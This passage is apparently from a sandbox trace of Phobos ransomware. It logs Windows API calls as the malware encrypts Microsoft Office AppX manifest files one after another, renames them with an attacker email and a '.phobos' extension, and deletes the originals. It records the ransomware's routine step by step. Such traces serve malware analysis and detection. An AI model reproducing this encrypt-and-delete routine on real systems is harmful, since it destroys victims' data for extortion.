office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0054.531] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.531] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0054.531] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0054.531] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0054.532] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcbd0) returned 1 [0054.532] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0054.532] ReadFile (in: hFile=0x31c, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x4ed, lpOverlapped=0x0) returned 1 [0054.593] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x4f0) returned 1 [0054.593] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x4f0, lpOverlapped=0x0) returned 1 [0054.593] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc6d0) returned 1 [0054.593] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0054.593] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90, dwBufLen=0x90 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90) returned 1 [0054.594] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0054.594] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x142, lpOverlapped=0x0) returned 1 [0054.594] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0054.594] CloseHandle (hObject=0x31c) returned 1 [0054.594] CloseHandle (hObject=0x2fc) returned 1 [0054.595] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 1 [0054.599] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0054.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.600] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=9216) returned 1 [0054.600] CloseHandle (hObject=0x31c) returned 1 [0054.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 0x220 [0054.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0054.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.600] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0054.600] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0054.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0054.602] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcc10) returned 1 [0054.602] CryptSetKeyParam (hKey=0x10dcc10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0054.602] ReadFile (in: hFile=0x31c, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x2400, lpOverlapped=0x0) returned 1 [0054.672] CryptEncrypt (in: hKey=0x10dcc10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2410, dwBufLen=0x2410 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2410) returned 1 [0054.672] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x2410, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x2410, lpOverlapped=0x0) returned 1 [0054.673] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc8d0) returned 1 [0054.673] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0054.673] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90, dwBufLen=0x90 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90) returned 1 [0054.673] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0054.673] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x142, lpOverlapped=0x0) returned 1 [0054.674] CryptDestroyKey (hKey=0x10dcc10) returned 1 [0054.674] CloseHandle (hObject=0x31c) returned 1 [0054.674] CloseHandle (hObject=0x310) returned 1 [0054.674] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 1 [0054.675] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0054.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0054.676] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=1261) returned 1 [0054.676] CloseHandle (hObject=0x310) returned 1 [0054.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0054.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0054.676] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0054.676] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0054.676] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0054.676] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.677] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc690) returned 1 [0054.677] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0054.677] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x4ed, lpOverlapped=0x0) returned 1 [0054.708] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x4f0) returned 1 [0054.708] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x4f0, lpOverlapped=0x0) returned 1 [0054.709] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb10) returned 1 [0054.709] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0054.709] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90, dwBufLen=0x90 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90) returned 1 [0054.709] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0054.709] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x142, lpOverlapped=0x0) returned 1 [0054.709] CryptDestroyKey (hKey=0x10dc690) returned 1 [0054.710] CloseHandle (hObject=0x310) returned 1 [0054.710] CloseHandle (hObject=0x31c) returned 1 [0054.710] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 1 [0054.711] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0054.711] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.712] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=1261) returned 1 [0054.712] CloseHandle (hObject=0x31c) returned 1 [0054.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0054.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0054.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.712] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0054.712] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0054.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0054.712] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc8d0) returned 1 [0054.713] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0054.713] ReadFile (in: hFile=0x31c, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x4ed, lpOverlapped=0x0) returned 1 [0054.750] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x4f0) returned 1 [0054.750] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x4f0, lpOverlapped=0x0) returned 1 [0054.751] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc790) returned 1 [0054.751] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0054.751] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90, dwBufLen=0x90 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90) returned 1 [0054.751] CryptDestroyKey (hKey=0x10dc790) returned 1 [0054.751] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x142, lpOverlapped=0x0) returned 1 [0054.751] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0054.751] CloseHandle (hObject=0x31c) returned 1 [0054.751] CloseHandle (hObject=0x310) returned 1 [0054.752] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 1 [0054.754] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0054.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0054.754] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=1261) returned 1 [0054.754] CloseHandle (hObject=0x310) returned 1 [0054.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 0x220 [0054.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0054.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0054.754] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0054.754] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0054.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.755] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc6d0) returned 1 [0054.755] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0054.755] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x4ed, lpOverlapped=0x0) returned 1 [0054.756] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x4f0) returned 1 [0054.756] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x4f0, lpOverlapped=0x0) returned 1 [0054.757] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc690) returned 1 [0054.757] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0054.757] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90, dwBufLen=0x90 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90) returned 1 [0054.757] CryptDestroyKey (hKey=0x10dc690) returned 1 [0054.757] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x142, lpOverlapped=0x0) returned 1 [0054.757] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0054.757] CloseHandle (hObject=0x310) returned 1 [0054.757] CloseHandle (hObject=0x31c) returned 1 [0054.758] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 1 [0054.758] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0054.758] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.759] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=1261) returned 1 [0054.759] CloseHandle (hObject=0x31c) returned 1 [0054.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 0x220 [0054.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0054.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.759] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0054.759] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0054.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft 